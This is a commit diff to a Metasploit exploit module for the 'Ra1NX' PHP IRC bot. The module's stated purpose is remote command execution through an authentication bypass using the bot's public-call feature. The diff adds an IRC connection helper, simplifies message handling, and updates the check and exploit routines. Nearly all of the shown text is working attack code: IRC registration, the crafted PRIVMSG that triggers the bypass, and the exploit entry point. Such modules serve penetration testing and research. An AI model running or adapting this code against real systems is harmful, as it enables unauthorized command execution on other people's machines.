@@ -14,9 +14,9 @@ class Metasploit3 < Msf::Exploit::Remote
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
17
- 'Name' => '" Ra1NX" PHP Bot PubCall Authentication Bypass Remote Code Execution' ,
17
+ 'Name' => 'Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution' ,
18
18
'Description' => %q{
19
- This module allows remote command execution on the PHP IRC bot Ra1NX by
19
+ This module allows remote command execution on the PHP IRC bot Ra1NX by
20
20
using the public call feature in private message to covertly bypass the
21
21
authentication system.
22
22
} ,
@@ -27,6 +27,7 @@ def initialize(info = {})
27
27
'License' => MSF_LICENSE ,
28
28
'References' =>
29
29
[
30
+ [ 'OSVDB' , '91663' ] ,
30
31
[ 'URL' , 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot' ] ,
31
32
[ 'URL' , 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0' ] ,
32
33
[ 'URL' , 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b' ]
@@ -40,7 +41,7 @@ def initialize(info = {})
40
41
'DisableNops' => true ,
41
42
'Compat' =>
42
43
{
43
- 'PayloadType' => 'cmd' ,
44
+ 'PayloadType' => 'cmd'
44
45
}
45
46
} ,
46
47
'Targets' =>
@@ -62,16 +63,38 @@ def initialize(info = {})
62
63
] , self . class )
63
64
end
64
65
65
- def check
66
+ def connect_irc
67
+ print_status ( "#{ rhost } :#{ rport } - Connecting to IRC server..." )
66
68
connect
67
69
70
+ data = ""
71
+ begin
72
+ read_data = sock . get_once ( -1 , 1 )
73
+ while not read_data . nil?
74
+ data << read_data
75
+ read_data = sock . get_once ( -1 , 1 )
76
+ end
77
+ rescue EOFError
78
+ end
79
+
80
+ if data and data =~ /020.*wait/
81
+ print_status ( "#{ rhost } :#{ rport } - Connection successful, giving 3 seconds to IRC server to process our connection..." )
82
+ select ( nil , nil , nil , 3 )
83
+ end
84
+ end
85
+
86
+ def check
87
+ connect_irc
88
+
68
89
response = register ( sock )
69
90
if response =~ /463/ or response =~ /464/
70
91
print_error ( "#{ rhost } :#{ rport } - Connection to the IRC Server not allowed" )
71
92
return Exploit ::CheckCode ::Unknown
72
93
end
94
+
73
95
confirm_string = rand_text_alpha ( 8 )
74
- response = send_msg ( sock , "PRIVMSG #{ datastore [ 'RNICK' ] } :#{ datastore [ 'RNICK' ] } @msg #{ datastore [ 'NICK' ] } #{ confirm_string } \r \n " , ":#{ datastore [ 'RNICK' ] } " )
96
+ response = send_msg ( sock , "PRIVMSG #{ datastore [ 'RNICK' ] } :#{ datastore [ 'RNICK' ] } @msg #{ datastore [ 'NICK' ] } #{ confirm_string } \r \n " )
97
+
75
98
quit ( sock )
76
99
disconnect
77
100
@@ -82,22 +105,15 @@ def check
82
105
end
83
106
end
84
107
85
- def send_msg ( sock , data , startResponse = nil )
108
+ def send_msg ( sock , data )
86
109
sock . put ( data )
87
110
data = ""
88
- count = 3
89
111
begin
90
- begin
112
+ read_data = sock . get_once ( -1 , 1 )
113
+ while not read_data . nil?
114
+ data << read_data
91
115
read_data = sock . get_once ( -1 , 1 )
92
- while not read_data . nil?
93
- data << read_data
94
- read_data = sock . get_once ( -1 , 1 )
95
- end
96
- if startResponse != nil and data . start_with? ( startResponse )
97
- startResponse = nil
98
- end
99
- count -= 1
100
- end while startResponse == nil and count != 0
116
+ end
101
117
rescue EOFError
102
118
end
103
119
data
@@ -137,7 +153,7 @@ def quit(sock)
137
153
end
138
154
139
155
def exploit
140
- connect
156
+ connect_irc
141
157
142
158
print_status ( "#{ rhost } :#{ rport } - Registering with the IRC Server..." )
143
159
response = register ( sock )
0 commit comments